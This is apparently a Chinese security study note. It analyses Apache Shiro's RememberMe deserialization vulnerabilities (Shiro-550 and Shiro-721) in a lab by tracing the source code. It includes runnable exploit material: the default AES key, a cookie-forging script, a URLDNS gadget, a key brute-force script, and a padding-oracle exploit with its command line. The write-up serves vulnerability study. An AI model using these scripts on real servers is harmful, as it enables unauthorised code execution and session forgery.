Java安全Shiro篇

了解Shiro

Shiro框架概述

Apache Shiro是一个强大且易用的Java安全框架,提供了身份验证、授权、密码学和会话管理等功能。它被广泛用于保护各种类型的应用程序,包括Web应用、RESTful服务、移动应用和大型企业级应用。使用Shiro,你可以将安全性集成到应用程序中而不必担心复杂的实现细节。 Shiro的优势在于其简单性和灵活性。相较于其他安全框架,Shiro采用了非常直观的API和清晰的架构,使得开发者能够更轻松地理解和使用。此外,Shiro的可扩展性也是其强大之处,你可以根据自己的需求轻松地定制和扩展功能。

Shiro反序列化漏洞产生的原因

Shiro框架提供了记住我的功能(RememberMe)省去用户短时间内再次登录输入账号密码的操作,用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:检索RememberMe Cookie的值Base 64解码AES解密进行反序列化操作(未过滤处理)

攻击者可以使用Shiro的密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。

PS:AES是一种对称加密算法(加密和解密使用同一种密钥)

加密过程:

明文 --> AES加密函数 + 密钥位数(128/192/256) + iv(初始化向量) + 密钥(key) + 模式(CBC和GCM等) + padding(填充方式)--> 密文

这样也就是说获得密钥就能随意构造Cookie的值,也就是说可以控制反序列化的过程

Shiro-550分析

环境搭建

参考这位师傅的Shiro550环境搭建很详细

漏洞分析

漏洞原理

搭建完环境后,登录勾选Remember me 抓包观察

image-20240727120242856

勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段

我们从一个漏洞发现者的角度分析,我们在抓某个页面的包时发现了这个Cookie长的不正常而且明显是感觉像Base

image-20240727120537954

到这里就可以感觉到是经过某种加密后的base64,会这样想的原因就是平常我们见到的cookie都不会这么长。

Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

所以根据上面的叙述就有了这样一个思路:

  1. 找到Shiro源码分析生成和处理Cookie的流程

  2. 发现处理Cookie时有反序列化,并且知道了怎样生成的Cookie

  3. 找到固定的key

  4. 自己构造这个rememberMe从而控制反序列化的流程

  5. getshell

分析过程

加密Cookie过程

打个断点看看过程

image-20240727183949717

首先判断是否勾选了rememberMe

继续步入

image-20240727184158572

进行用户身份的保存

步过继续步入rememberIdentity

image-20240727184354983

步入

image-20240727184421289

可以看出是将用户信息序列化后进行加密

看到encrypt明显是加密过程,步入看看是怎么个事

image-20240727184541083

CipherService 明显是一个用于加密和解密操作的服务接口,getEncryptionCipherKey()是获取密钥key的

image-20240727185519733

可以看到AES加密,模式为CBC,128位,填充方式为PKCS5Padding

image-20240727185827923

可以看到获得的key,可以用脚本直接解出来

import base64
import struct
​
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104)))

image-20240727190028321

在Shiro中这个是直接写在源码里的我们可以找到

image-20240727190758033

想知道具体加密的过程还可以继续跟这里就知道是AES就先步出了

image-20240727191124587

回到rememberIdentity步入rememberSerializedIdentity

image-20240727192046349

就是将序列化后加密的结果base64一下复制到Cookie的rememberMe字段中

总结一下

加密过程为

设定:密钥 = kPH+bIxk5D2deZiIxcaaaA==

1.获得明文 = 正常序列化用户名后的字节(root)

2.以下步骤:

  • 科普知识:正常的AES加密所需参数 = 想加密的字符串 + iv + key + CBC + padding

  • shiro:AES加密 = 想加密的字符串 (明文) + iv(随机生成的长度为16的字节) + key(base64解码**密钥**的结果) + CBC + PKCS5Padding

3.随机生成的长度为16的字节 + AES加密结果 (就是拼接了一下)

4.base64加密

处理Cookie过程

直接全局搜索Cookie看看有什么

image-20240727170016512

很显眼的找到CookieRememberMeManager这个类,然后看一下里面的方法其中getRememberedSerializedIdentity这个方法里处理了Cookie

image-20240727170404045

先判断是否为 HTTP 请求,如果是的话,获取 cookie 中 rememberMe 的值,然后判断是否是 deleteMe,不是则判断是否是符合 base64 的编码长度,然后再对其进行 base64 解码,将解码结果返回。(deleteMe如其意很明显就是Cookie没有时候出现的字段比如登出、cookie无效、身份过期等情况)

可以看到这个地方主要就是获取HTTP请求中的Cookie中rememberMe的值,继续找一下哪里调用这个方法。

image-20240727180252831

找到了 AbstractRememberMeManager 这个接口的 getRememberedPrincipals() 方法。

getRememberedPrincipals() 方法的作用域为 PrincipalCollection,一般就是用于聚合多个 Realm 配置的集合。

跟进convertBytesToPrincipals这个方法

image-20240727181001373

看看decrypt()

image-20240727193120958

很像加密过程中的encrypt()

getDecryptionCipherKey()还是获得密钥的过程是一样的

image-20240727193318702

对称加密所以key是一样的

然后就是反序列化,这里面的 deserial() 方法调用了 readObject(),所以这里反序列化的地方是一个很好的入口类。

image-20240727193755059

那么解密过程为:

设定:密钥 = kPH+bIxk5D2deZiIxcaaaA==

1.获得密文 = base64解密rememberMe参数传过来的值

2.以下步骤:

  • 科普知识:正常的AES解密所需参数 = 想解密的字符串 + iv + key + CBC

  • shiro:AES解密 = 想解密的字符串(删除密文前16个字节的剩余字节)+iv(密文的前16个字节) + key(base64解码**密钥**的结果) + CBC + PKCS5Padding

漏洞利用

PS:工具就不在这里面放了有很多

既然 RCE,或者说弹 shell,是在反序列化的时候触发的。

那我们的攻击就应该是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值。

先是加密脚本(跟到加密那里mode是CBC key就是shirokey 加密后的内容前16位就是iv)

import argparse
import base64
import uuid
from Crypto.Cipher import AES
​
def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data
​
def aes_enc(data, key):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext
#去除填充
# def aes_dec(enc_data, key):
#     enc_data = base64.b64decode(enc_data)
#     unpad = lambda s: s[:-s[-1]]
#     mode = AES.MODE_CBC
#     iv = enc_data[:16]
#     encryptor = AES.new(base64.b64decode(key), mode, iv)
#     plaintext = encryptor.decrypt(enc_data[16:])
#     plaintext = unpad(plaintext)
#     return plaintext
def aes_dec(enc_data, key):
    enc_data = base64.b64decode(enc_data)
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    return plaintext
​
def main():
    parser = argparse.ArgumentParser(description="Encrypt or decrypt a file using AES.")
    parser.add_argument('operation', choices=['en', 'de'], help="Operation to perform: encrypt or decrypt")
    parser.add_argument('--file','-f', help="Path to the file to encrypt or decrypt")
    parser.add_argument('--data','-d', help="Base64 encoded data to decrypt directly (for decryption only)")
    parser.add_argument('--output','-o', help="Output file path for the decrypted data")
    parser.add_argument('--key', help="Base64 encoded key for encryption/decryption (default: 'kPH+bIxk5D2deZiIxcaaaA==')")     
    args = parser.parse_args()
​
    # 使用用户提供的key或者默认值
    key = args.key if args.key else 'kPH+bIxk5D2deZiIxcaaaA=='
​
    if args.operation == 'en':
        if args.file is None:
            print("File path must be provided for encryption.")
            return
        data = get_file_data(args.file)
        encrypted_data = aes_enc(data, key)
        print(encrypted_data.decode())
    elif args.operation == 'de':
        decrypted_data = None
        if args.data:
            decrypted_data = aes_dec(args.data.encode(), key)
        elif args.file:
            encrypted_data = get_file_data(args.file)
            decrypted_data = aes_dec(encrypted_data, key)
        else:
            print("Either file path or data must be provided for decryption.")
            return
​
        if decrypted_data is not None:
            if args.output:
                with open(args.output, 'wb') as f:
                    f.write(decrypted_data)
                print(f"Decrypted data has been written to {args.output}")
            else:
                print("Decrypted data (binary output requires --output to save to file).")
        else:
            print("Decryption failed.")
​
if __name__ == "__main__":
    main()
URLDNS
package com.serialize;
​
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
​
public class URLDNSEXP {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://zj9hsb.dnslog.cn");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,114514);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
//        unserialize("ser.bin");
    }
​
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20240727200645846

再将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。

image-20240727200653967

可以收到DNS请求

image-20240727200712766

AES密钥判断

前面说到 Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

那么如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段。

因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。

shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

这里给出大佬 Veraxy 的脚本:

import base64
import uuid
import requests
from Crypto.Cipher import AES
​
def encrypt_AES_GCM(msg, secretKey):
 aesCipher = AES.new(secretKey, AES.MODE_GCM)
 ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
 return (ciphertext, aesCipher.nonce, authTag)
​
def encode_rememberme(target):
 keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
 BS = AES.block_size
 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
 mode = AES.MODE_CBC
 iv = uuid.uuid4().bytes
    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
 for key in keys:
     try:
         # CBC加密
         encryptor = AES.new(base64.b64decode(key), mode, iv)
         base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
         res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
         if res.headers.get("Set-Cookie") == None:
             print("正确KEY :" + key)
             return key
         else:
             if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                 print("正确key:" + key)
                 return key
         # GCM加密
         encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
         base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
         res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
         if res.headers.get("Set-Cookie") == None:
             print("正确KEY:" + key)
             return key
         else:
             if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                 print("正确key:" + key)
                 return key
         print("正确key:" + key)
         return key
     except Exception as e:
         print(e)

Shiro-721分析

环境搭建

还是参照师傅的环境搭建

或者还有dokcer环境可以去找找

搭建的过程中发现怎么无论怎样重启key还是kPH+bIxk5D2deZiIxcaaaA==还是固定的

直接全局搜索找到事发地然后注释就好了

image-20240729180844472

image-20240729180658031

漏洞分析

漏洞原理

与Shiro550的区别

和Shiro550的差别就在于密钥生成变成了动态生成的了

我们对比一下两个生成密钥的地方

image-20240729182538425

利用条件

[SHIRO-721]RememberMe 填充 Oracle 漏洞 - ASF JIRA (apache.org)

全是英文思密达

image-20240729181758523

漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1

Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:

  • 开启 rememberMe 功能;

  • rememberMe 值使用 AES-CBC 模式解密;

  • 能获取到正常 Cookie,即用户正常登录的 Cookie 值;

  • 密文可控;

分析过程

既然与前面分析的Shiro550区别只在生成密钥这点那么我们就看一下生成密钥的这个过程

Ps:这个打断点的过程要多试不是一次打完的

先在生成密钥的函数(generateNewKey())地方打上断点

image-20240729190642366

KeyGenerator是 Java 中用来生成对称密钥的类。

image-20240729190845306

跟进这个init()看看

这里获取到了一个随机数生成器 SecureRandom, 跟进 init()

image-20240729191858511

跟进engineInit

image-20240729192141240

image-20240729192302699

image-20240729192550537

就是进行了 AES 算法的初始化

所以整个init就是对加密算法进行的初始化,我们结束这个地方的跟进

看一眼这个generateKey()看名字就感觉是生成key的地方

image-20240729193733392

其中SecretKeySpec 是一种 SecretKey 实现,封装了原始密钥数据和算法名称,最后返回的var1这个对象包含了生成的随机密钥和算法信息

可见这里已经生成了一串16字节的随机序列,并且返回一个 SecretKeySpec 对象

然后再使用getEncoded() 方法获取 key 密钥序列

image-20240729194005656

至此Shiro721的密钥就生成完毕了

漏洞利用

Shiro721漏洞利用主要就是通过Padding Oracle Attack

Padding Oracle Attack

这里直接借用师傅的分析

这里简单说下 Padding Oracle Attack 加密数据整体过程:

  1. 选择一个明文 P,用来生成你想要的密文C

  2. 使用适当的 Padding 将字符串填充为块大小的倍数,然后将其拆分为从 1 到 N 的块;

  3. 生成一个随机数据块(C[n] 表示最后一个密文块);

  4. 对于每一个明文块,从最后一块开始:

    1. 创建一个包括两块的密文C’,其是通过一个空块(00000…)与最近生成的密文块C[n+1](如果是第一轮则是随机块)组合成的;

    2. 这步容易理解,就是Padding Oracle的基本攻击原理:修改空块的最后一个字节直至Padding Oracle没有出现错误为止,然后继续将最后一个字节设置为2并修改最后第二个字节直至Padding Oracle没有出现错误为止,依次类推,继续计算出倒数第3、4…个直至最后一个数据为止;

    3. 在计算完整个块之后,将它与明文块 P[n] 进行XOR一起创建 C[n]

    4. 对后续的每个块重复上述过程(在新的密文块前添加一个空块,然后进行Padding Oracle爆破计算);

简单地说,每一个密文块解密为一个未知值,然后与前一个密文块进行XOR。通过仔细选择前一个块,我们可以控制下一个块解密来得到什么。即使下一个块解密为一堆无用数据,但仍然能被XOR化为我们控制的值,因此可以设置为任何我们想要的值。

Shiro721的Padding Oracle Attack

要成功进行 Padding Oracle Attack 是需要服务端返回两个不同的响应特征来进行 Bool 判断的。

在 Apache Shiro 的场景中,这个服务端的两个不同的响应特征为:

  • Padding Oracle 错误时,服务端响应报文的 Set-Cookie 头字段返回 rememberMe=deleteMe

  • Padding Oracle 正确时,服务端返回正常的响应报文内容;

这个Padding Oracle Attack我们是拿来作用到Cookie上的,又是通过响应头来判断填充是否正确,所以我们来分析一下Shiro是如果处理正确和错误的Cookie的

我们先找到解密的地方org.apache.shiro.mgt.AbstractRememberMeManager#decrypt()

image-20240730112514908

跟进decrypt

image-20240730112617309

跟进 cipherService.decrypt(),最后到 crypt() 中调用 doFinal() 方法

image-20240730112649401

image-20240730112705636

image-20240730112901284

doFinal() 方法有 IllegalBlockSizeExceptionBadPaddingException 这两个异常,分别用于捕获块大小异常和填充错误异常。异常会被抛出到 crypt() 方法中,最终被 getRememberedPrincipals() 方法捕获,并执行 onRememberedPrincipalFailure() 方法。

image-20240730112938439

onRememberedPrincipalFailure() 方法调用了 forgetIdentity()。该方法会调用 removeFrom(),并且会在response头部添加字段 Set-Cookie: rememberMe=deleteMe

image-20240730113249142

因此倘若Padding结果不正确的话,响应包就会返回 Set-Cookie: rememberMe=deleteMe

当Padding正确时进行反序列化处理,CBC模式下的分组密码,如果某一组的密文被破坏,那么在其之后的分组都会受到影响。这时候我们的密文就无法正确的被反序列化了。

Shiro中关于反序列化的处理在 org.apache.shiro.io.DefaultSerializer#deserialize() 方法下

(如果不想打断点就可以找AbstractRememberMeManager这个类很多都能从这出发找到)image-20240730113637858

如果反序列化的结果错误,则会抛出异常,最后异常仍被 getRememberedPrincipals() 方法处理。response 包里会回显 302 且 rememberMe=deleteMe

但是对于 Java 来说,反序列化是以 Stream 的方式按顺序进行的,向其后添加或更改一些字符串并不会影响正常反序列化。我们可以来测试一下。

我们先获得正常Cookie

image-20240730123911776

进行解密

image-20240730123932596

放到010看到填充数据0x10

image-20240730123950999

我们更改为其他合理填充数据,加密后再发送

image-20240730151427517

image-20240730124303028

image-20240730124159211

服务器端正常响应,于是这里就构造出了布尔条件

  • Padding 正确,服务器正常响应

  • Padding 错误,服务器返回 Set-Cookie: rememberMe=deleteMe

复现

ysoserial

inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle Attack (github.com)

先登录进去勾选Remember Me

image-20240730161459890

刷新当前页面或访问 /account 页面,获取此时登录成功的 rememberMe 值:

image-20240730161659302

用ysoserial生成DNS payload

image-20240730161729146

利用GitHub的exp来进行 Padding Oracle Attack(python2)

# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
​
​
class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)
​
    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']
​
        # logging.debug(self.session.cookies)
​
        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue
​
        self.history.append(response)
​
        # logging.debug(response.headers)
​
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
​
        # logging.debug("Padding exception")
        raise BadPaddingException
​
​
if __name__ == '__main__':
    import logging
    import sys
​
    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)
​
    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
​
    padbuster = PadBuster()
​
    payload = open(sys.argv[3], 'rb').read()
​
    enc = padbuster.encrypt(plaintext=payload, block_size=16)
​
    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
​
    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))
python2 shiro_exp.py http://192.168.34.1:8081/ 1Hl09o75rzreK5ohy2jdexgtcs/qNjs2hZM4lA0G9QQzjX5dzggbD9N7trEVAY4S39qPNb6iHMZmYUnh3Hg2ABjJ9lxLybcPs0nCN1xbeiAhHlbR/HPBsIGxUQEuRbeD8JflacXxz/UEBqoy29ay8qZG45uNe0rm48m7X4UVFENA1bgoHUB6M/icpogLzQhpnY2ZN22sejQsCtWMJMQKkiHKAkQXC3lF2feoRbuD1b+KpijMiWc27+m3TfN2ObaSaM6wLPKzFtV8JgkTJbT99tO3Klp8uNFlGy7Kfw+4DoDpQjYmpdvqHlwW6TN2fnu18G4G5ReNRDR4eEt3+6DAoga/bcTRNyu2pRwNJXeJSu4dZyityZviPexm/6QeGvPYR8PTXUCGMpuNyZ8bIHA6buVmGfINFjGnJoqL6ar2t7Tyex8BEvGb/2OpErspQL6C14COfjJDdBQM1ViUn2B257Qw62D9ZYNHscIj0Ntiu/LsflJIZSKoDmZH0EcBjfQF ak.class

得爆一会

image-20240730164732765

替换

image-20240730164828367

接收到

image-20240730164755421

后记

其实早分析过了只是期末考试、国赛等等没写文章,其实很多都是参考别的师傅的,目前写文章的主要目的还是为了留存笔记

参考文章

Java反序列化Shiro篇01-Shiro550流程分析

Java反序列化Shiro篇02-Shiro721流程分析

Shiro反序列化分析带思路及组件检测笔记 - 先知社区 (aliyun.com)